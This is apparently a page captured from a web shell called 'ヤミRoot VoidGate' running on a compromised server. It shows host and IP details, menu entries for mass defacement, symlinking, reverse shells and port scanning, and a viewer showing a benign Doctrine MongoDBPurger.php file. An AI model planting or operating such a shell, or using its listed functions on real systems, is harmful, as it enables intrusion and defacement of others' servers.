ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
vendor
/
doctrine
/
data-fixtures
/
src
/
Purger
/
Viewing: MongoDBPurger.php
<?php declare(strict_types=1); namespace Doctrine\Common\DataFixtures\Purger; use Doctrine\ODM\MongoDB\DocumentManager; /** * Class responsible for purging databases of data before reloading data fixtures. */ class MongoDBPurger implements PurgerInterface { /** @var DocumentManager|null */ private $dm; /** * Construct new purger instance. * * @param DocumentManager|null $dm DocumentManager instance used for persistence. */ public function __construct(?DocumentManager $dm = null) { $this->dm = $dm; } /** * Set the DocumentManager instance this purger instance should use. * * @return void */ public function setDocumentManager(DocumentManager $dm) { $this->dm = $dm; } /** * Retrieve the DocumentManager instance this purger instance is using. * * @return DocumentManager */ public function getObjectManager() { return $this->dm; } /** @inheritDoc */ public function purge() { $metadatas = $this->dm->getMetadataFactory()->getAllMetadata(); foreach ($metadatas as $metadata) { if ($metadata->isMappedSuperclass) { continue; } $this->dm->getDocumentCollection($metadata->name)->drop(); } $this->dm->getSchemaManager()->ensureIndexes(); } }
Coded With 💗 by
0x6ick